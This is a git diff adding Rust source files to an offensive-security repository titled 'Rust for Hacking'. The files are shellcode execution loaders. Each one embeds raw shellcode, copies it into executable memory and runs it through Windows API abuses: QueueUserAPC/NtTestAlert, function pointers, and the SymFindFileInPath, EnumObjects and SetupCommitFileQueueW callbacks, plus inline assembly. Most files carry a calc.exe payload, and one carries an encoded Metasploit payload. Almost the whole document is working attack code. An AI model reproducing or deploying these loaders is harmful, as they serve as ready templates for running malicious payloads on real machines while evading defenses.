+ 0x0c,0x56,0x9e,0xa9,0x91,0xca,0x13,0x6f,0x71,0x43,0xcf,0x4a,
+ 0x25,0x21,0x90,0x0f,0x4d,0xd1,0xce,0x23,0x25,0x25,0x32,0x7d,
+ 0x05,0x56,0x9e,0x0a,0x3d,0xed,0x84,0x62,0xaa,0xd7,0x8f,0x1b,
+ 0x24,0x53,0x1c,0x66,0xdc,0xd6,0x82,0xc2,0xac,0xed,0x6e,0x52,
+ 0x99,0x28,0x48,0xb4,0xb8,0xe4,0xe5,0xf9,0x1d,0xe8,0x04,0xc0,
+ 0x63,0xed,0x6e,0x23,0xd2,0x0a,0xae,0xb4,0xb8,0x17,0x24,0x9e,
+ 0xf7,0x41,0x8f,0xf1,0xcb,0x39,0x69,0xb6,0xaa,0xc2,0x86,0xc8,
+ 0xa9,0x84,0xe8,0x2d,0x29,0x1d,0x4e,0xb0,0x8d,0xd9,0xd1,0x90,
+ 0x12,0x04,0xbc,0x24,0x07,0xac,0x8d,0x6a,0xdc,0xcd,0x31,0x9e,
+ 0x6d,0xac,0xd4,0x2b];
+
+ println!("| SC Exec in LP with QueueUserAPC and NtTestAlert");
+ unsafe{
+ let ntdll_handle = GetModuleHandleA("ntdll\0".as_ptr() as _);
+ let nt_test_alert = GetProcAddress(ntdll_handle, "NtTestAlert\0".as_ptr() as _);
+
+ if nt_test_alert.is_null(){
+ error!("Unable to get address of NtTestAlert: {:#?}",GetLastError());
+ }
+
+ okey!("GetModuleHandleA Addr: {:#?}",ntdll_handle);
+ okey!("NtTestAlert Addr: {:#?}",nt_test_alert);
+
+ let address = VirtualAlloc(
+ null_mut(),
+ buf.len(),
+ 0x1000, // MEM_COMMIT
+ 0x40, // PAGE_EXECUTIVE_READWRITE
+ );
+
+ okey!("VirtualAllocated Addr: {:#?}",address);
+
+ if address.is_null(){
+ error!("VirtualAlloc Error: {:#?}",GetLastError());
+ }
+
+ // okey!("VirtualAlloc : {:#?}",address);
+
+ // std::ptr::copy(buf.as_ptr(), address as *mut u8, buf.len());
+
+ // let apc_routine = address as usize as *mut c_void;
+
+ // QueueUserAPC(Some(std::mem::transmute(apc_routine)), GetCurrentThread(), null_mut());
+ if !nt_test_alert.is_null() {
+ let test_alert: NtTestAlert = std::mem::transmute(nt_test_alert);
+
+ let shell_size = buf.len();
+ let shell_address =
+ VirtualAlloc(
+ null_mut(),
+ shell_size,
+ 0x1000,
+ 0x40,
+ );
+
+
+ std::ptr::copy(buf.as_ptr(), shell_address as *mut u8, shell_size);
+
+
+ let apc_routine = shell_address as usize as *mut c_void;
+
+ okey!("APC Addr: {:?}",apc_routine);
+
+ QueueUserAPC(Some(std::mem::transmute(apc_routine)), GetCurrentThread(), 0);
+ test_alert();
+
+ } else {
+ println!("Failed to retrieve address for NtTestAlert");
+ }
+ }
+}
+
diff --git a/Rust for Hacking/shellcode_exec/README.md b/Rust for Hacking/shellcode_exec/README.md
new file mode 100644
index 0000000..521eda6
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/README.md
@@ -0,0 +1,3 @@
+### SHELLCODE EXECUTION METHODS
+
+Here you can find shellcode Execution methods by using WinApi's
diff --git a/Rust for Hacking/shellcode_exec/Shell-Exec_fnPointer.rs b/Rust for Hacking/shellcode_exec/Shell-Exec_fnPointer.rs
new file mode 100644
index 0000000..a01b8f6
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/Shell-Exec_fnPointer.rs
@@ -0,0 +1,41 @@
+/*
+ Execute Shellcode using Function Pointer through .text section
+ Learned this method from ired.team
+ @5mukx
+*/
+
+#[link_section = ".text"]
+static SHELLCODE: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+];
+
+fn exec_shellcode(shellcode: *const u8){
+
+ let shell_exec: fn() = unsafe {
+ std::mem::transmute(shellcode)
+ };
+
+ shell_exec();
+}
+
+fn main(){
+ exec_shellcode(SHELLCODE.as_ptr());
+}
diff --git a/Rust for Hacking/shellcode_exec/SymFindFileInPath.rs b/Rust for Hacking/shellcode_exec/SymFindFileInPath.rs
new file mode 100644
index 0000000..b43be90
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/SymFindFileInPath.rs
@@ -0,0 +1,124 @@
+/*
+ Execute Shellcode using SymFindFileInPath ..!
+ By Smukx
+*/
+
+use std::{ffi::CString, ptr::{copy_nonoverlapping, null, null_mut}};
+
+use winapi::{
+ ctypes::c_void,
+ shared::minwindef::MAX_PATH,
+ um::{
+ dbghelp::{SymFindFileInPath, SymInitializeW},
+ memoryapi::VirtualAlloc,
+ processthreadsapi::GetCurrentProcess,
+ winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}
+ }
+};
+#[repr(C)]
+#[allow(non_camel_case_types)]
+pub struct SYMSRV_INDEX_INFO {
+ pub sizeofstruct: u32,
+ pub file: [i8; 261],
+ pub stripped: i32,
+ pub timestamp: u32,
+ pub size: u32,
+ pub dbgfile: [i8; 261],
+ pub pdbfile: [i8; 261],
+ pub guid: winapi::shared::guiddef::GUID,
+ pub sig: u32,
+ pub age: u32,
+}
+
+#[link(name = "dbghelp")] extern "system" {
+ fn SymSrvGetFileIndexInfo(
+ file: *const i8,
+ info: *mut SYMSRV_INDEX_INFO,
+ flags: u32,
+ ) -> i32;
+}
+
+fn main() {
+ unsafe {
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ let h_process = GetCurrentProcess();
+
+ let address = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ MEM_RESERVE | MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if !address.is_null() {
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ address as *mut u8,
+ shellcode.len(),
+ );
+ }
+
+ SymInitializeW(
+ h_process,
+ null(),
+ 1,
+ );
+
+ let mut finfo: SYMSRV_INDEX_INFO = std::mem::zeroed();
+
+ // Unwrap the CString and pass its pointer
+
+ let dll_path = CString::new("C:\\windows\\system32\\kernel32.dll").unwrap();
+
+ let result = SymSrvGetFileIndexInfo(
+ dll_path.as_ptr(),
+ &mut finfo,
+ 0,
+ );
+
+ if result == 0 {
+ println!("SymSrvGetFileIndexInfo Success!");
+ } else {
+ println!("SymSrvGetFileIndexInfo Failed!");
+ }
+
+ let mut dummy = vec![0u8; MAX_PATH as usize];
+
+ let search_path = CString::new("c:\\windows\\system32").unwrap();
+ let filename = CString::new("kernel32.dll").unwrap();
+
+ SymFindFileInPath(
+ h_process,
+ search_path.as_ptr(),
+ filename.as_ptr(),
+ &finfo.timestamp as *const _ as *mut c_void,
+ finfo.size,
+ 0,
+ 0,
+ dummy.as_mut_ptr() as *mut i8,
+ Some(std::mem::transmute(address)),
+ null_mut(),
+ );
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/enumobjects.rs b/Rust for Hacking/shellcode_exec/enumobjects.rs
new file mode 100644
index 0000000..43f5291
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/enumobjects.rs
@@ -0,0 +1,64 @@
+/*
+ Shellcode Execution through EnumObjects
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+*/
+
+use std::ptr::null_mut;
+
+use winapi::um::{
+ memoryapi::VirtualAlloc,
+ wingdi::{EnumObjects, LOGFONTW, OBJ_BRUSH},
+ winuser::GetDC
+};
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000 | 0x2000,
+ 0x40,
+ );
+
+ std::ptr::copy_nonoverlapping(
+ shellcode.as_ptr(),
+ addr as *mut u8,
+ shellcode.len(),
+ );
+
+ let mut logf: LOGFONTW = std::mem::zeroed();
+ logf.lfCharSet = 0;
+
+ let dc = GetDC(null_mut());
+
+ EnumObjects(
+ dc,
+ OBJ_BRUSH as i32,
+ std::mem::transmute(addr),
+ 0,
+ );
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/inline_assembly.rs b/Rust for Hacking/shellcode_exec/inline_assembly.rs
new file mode 100644
index 0000000..a3314a3
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/inline_assembly.rs
@@ -0,0 +1,76 @@
+ /*
+ Execute shellcode with inline assembly...
+ For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ Resources Used:
+ * https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++
+ * https://cocomelonc.github.io/tutorial/2021/12/03/inline-asm-1.html
+ @5mukx
+ */
+
+use std::arch::asm;
+#[cfg(target_os="windows")]
+
+fn main(){
+ #![link_section = ".text"]
+
+ // msfshellcode ..
+ let shellcode: [u8; 503] = [0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,
+ 0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,
+ 0x9a,0xfa,0x6a,0xf2,0x06,0xd6,0x98,0x59,0x48,0x31,0x58,0x27,
+ 0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x66,0xb2,0xe9,0x16,
+ 0xf6,0x3e,0x58,0x59,0x9a,0xfa,0x2b,0xa3,0x47,0x86,0xca,0x08,
+ 0xcc,0xb2,0x5b,0x20,0x63,0x9e,0x13,0x0b,0xfa,0xb2,0xe1,0xa0,
+ 0x1e,0x9e,0x13,0x0b,0xba,0xb2,0xe1,0x80,0x56,0x9e,0x97,0xee,
+ 0xd0,0xb0,0x27,0xc3,0xcf,0x9e,0xa9,0x99,0x36,0xc6,0x0b,0x8e,
+ 0x04,0xfa,0xb8,0x18,0x5b,0x33,0x67,0xb3,0x07,0x17,0x7a,0xb4,
+ 0xc8,0xbb,0x3b,0xba,0x8d,0x84,0xb8,0xd2,0xd8,0xc6,0x22,0xf3,
+ 0xd6,0x5d,0x18,0xd1,0x9a,0xfa,0x6a,0xba,0x83,0x16,0xec,0x3e,
+ 0xd2,0xfb,0xba,0xa2,0x8d,0x9e,0x80,0x1d,0x11,0xba,0x4a,0xbb,
+ 0x07,0x06,0x7b,0x0f,0xd2,0x05,0xa3,0xb3,0x8d,0xe2,0x10,0x11,
+ 0x9b,0x2c,0x27,0xc3,0xcf,0x9e,0xa9,0x99,0x36,0xbb,0xab,0x3b,
+ 0x0b,0x97,0x99,0x98,0xa2,0x1a,0x1f,0x03,0x4a,0xd5,0xd4,0x7d,
+ 0x92,0xbf,0x53,0x23,0x73,0x0e,0xc0,0x1d,0x11,0xba,0x4e,0xbb,
+ 0x07,0x06,0xfe,0x18,0x11,0xf6,0x22,0xb6,0x8d,0x96,0x84,0x10,
+ 0x9b,0x2a,0x2b,0x79,0x02,0x5e,0xd0,0x58,0x4a,0xbb,0x32,0xb3,
+ 0x5e,0x88,0xc1,0x03,0xdb,0xa2,0x2b,0xab,0x47,0x8c,0xd0,0xda,
+ 0x76,0xda,0x2b,0xa0,0xf9,0x36,0xc0,0x18,0xc3,0xa0,0x22,0x79,
+ 0x14,0x3f,0xcf,0xa6,0x65,0x05,0x37,0xbb,0xb8,0xa1,0xeb,0x6b,
+ 0xc5,0xc9,0x58,0xf2,0x06,0x97,0xce,0x10,0x13,0x1c,0x22,0x73,
+ 0xea,0x76,0x99,0x59,0x9a,0xb3,0xe3,0x17,0x4f,0x6a,0x9a,0x59,
+ 0x9b,0x41,0xaa,0x5a,0x07,0x9d,0xd9,0x0d,0xd3,0x73,0x8e,0xbe,
+ 0x8f,0x27,0xd9,0xe3,0xd6,0x8d,0x4c,0xf5,0xf9,0x03,0xd4,0xd0,
+ 0x70,0x92,0x6b,0xf3,0x06,0xd6,0xc1,0x18,0x20,0xd3,0xea,0x99,
+ 0x06,0x29,0x4d,0x09,0xca,0xb7,0x5b,0x3b,0x4b,0xe7,0x58,0x11,
+ 0x65,0x3a,0x22,0x7b,0xc4,0x9e,0x67,0x99,0xd2,0x73,0xab,0xb3,
+ 0xbc,0x3c,0x97,0x86,0x7a,0x05,0xbf,0xba,0x8f,0x11,0xf2,0x49,
+ 0xdb,0xa2,0x26,0x7b,0xe4,0x9e,0x11,0xa0,0xdb,0x40,0xf3,0x57,
+ 0x72,0xb7,0x67,0x8c,0xd2,0x7b,0xae,0xb2,0x04,0xd6,0x98,0x10,
+ 0x22,0x99,0x07,0x96,0x06,0xd6,0x98,0x59,0x9a,0xbb,0x3a,0xb3,
+ 0x56,0x9e,0x11,0xbb,0xcd,0xad,0x3d,0xbf,0x37,0x16,0xf2,0x54,
+ 0xc3,0xbb,0x3a,0x10,0xfa,0xb0,0x5f,0x1d,0xbe,0xae,0x6b,0xf3,
+ 0x4e,0x5b,0xdc,0x7d,0x82,0x3c,0x6a,0x9a,0x4e,0x5f,0x7e,0x0f,
+ 0xca,0xbb,0x3a,0xb3,0x56,0x97,0xc8,0x10,0x65,0x3a,0x2b,0xa2,
+ 0x4f,0x29,0x50,0x14,0x13,0x3b,0x26,0x7b,0xc7,0x97,0x22,0x20,
+ 0x56,0xc5,0xec,0x0d,0xd3,0x9e,0xa9,0x8b,0xd2,0x05,0xa0,0x79,
+ 0x08,0x97,0x22,0x51,0x1d,0xe7,0x0a,0x0d,0xd3,0x6d,0x68,0xec,
+ 0x38,0xac,0x2b,0x48,0xa0,0x43,0x25,0xc4,0x65,0x2f,0x22,0x71,
+ 0xc2,0xfe,0xa4,0x5f,0xe6,0xf0,0xea,0x09,0xe6,0xa3,0x9d,0xe2,
+ 0xdd,0xe9,0x18,0x9d,0x6c,0xd6,0xc1,0x18,0x13,0x20,0x95,0x27,
+ 0x06,0xd6,0x98,0x59];
+ // This will works ..
+ // convert the shellcode into binary format (.bin) and read it using include_bytes()..
+
+ //Example
+ // let shellcode = include_bytes!("msfshellcode_payload.bin");
+
+ // let shellcode_bytes = include_bytes!(shellcode);
+
+ unsafe{
+ asm!("call {}", in(reg) shellcode.as_ptr())
+ }
+ // If you try to execute the program with 'char' shellcode.
+ // You will get an error (exit code: 0xc0000005, STATUS_ACCESS_VIOLATION)
+ //Because you did not have permission to accress the memory that you wanted to access.
+
+}
+
diff --git a/Rust for Hacking/shellcode_exec/setupcommitfilequeuew.rs b/Rust for Hacking/shellcode_exec/setupcommitfilequeuew.rs
new file mode 100644
index 0000000..7538ad6
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/setupcommitfilequeuew.rs
@@ -0,0 +1,94 @@
+/*
+ Shellcode Execution through SetupCommitFileQueueW
+ For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+*/
+
+use winapi::um::setupapi::{
+ SetupCommitFileQueueW,
+ SetupOpenFileQueue,
+ SetupQueueCopyW,
+ SP_COPY_NOSKIP,
+};
+
+use winapi::um::winuser::GetTopWindow;
+use winapi::ctypes::c_void;
+use std::ffi::OsStr;
+use std::os::windows::ffi::OsStrExt;
+use std::ptr::{
+ copy_nonoverlapping,
+ null_mut
+};
+
+use winapi::um::{
+ memoryapi::VirtualAlloc,
+ winnt::{
+ MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ }
+};
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ addr as *mut u8,
+ shellcode.len(),
+ );
+
+ let hqueue: *mut c_void = SetupOpenFileQueue();
+ let path = OsStr::new("c:\\").encode_wide().chain(Some(0)).collect::<Vec<_>>();
+ let path1 = OsStr::new("\\windows\\system32\\").encode_wide().chain(Some(0)).collect::<Vec<_>>();
+ let kernel32 = OsStr::new("kernel32.dll").encode_wide().chain(Some(0)).collect::<Vec<_>>();
+ let temp = OsStr::new("c:\\windows\\temp\\kernel32.dll").encode_wide().chain(Some(0)).collect::<Vec<_>>();
+
+ SetupQueueCopyW(
+ hqueue,
+ path.as_ptr(),
+ path1.as_ptr(),
+ kernel32.as_ptr(),
+ null_mut(),
+ null_mut(),
+ temp.as_ptr(),
+ kernel32.as_ptr(),
+ SP_COPY_NOSKIP,
+ );
+
+ SetupCommitFileQueueW(
+ GetTopWindow(null_mut()),
+ hqueue,
+ std::mem::transmute(addr),
+ null_mut(),
+ );
+ }
+}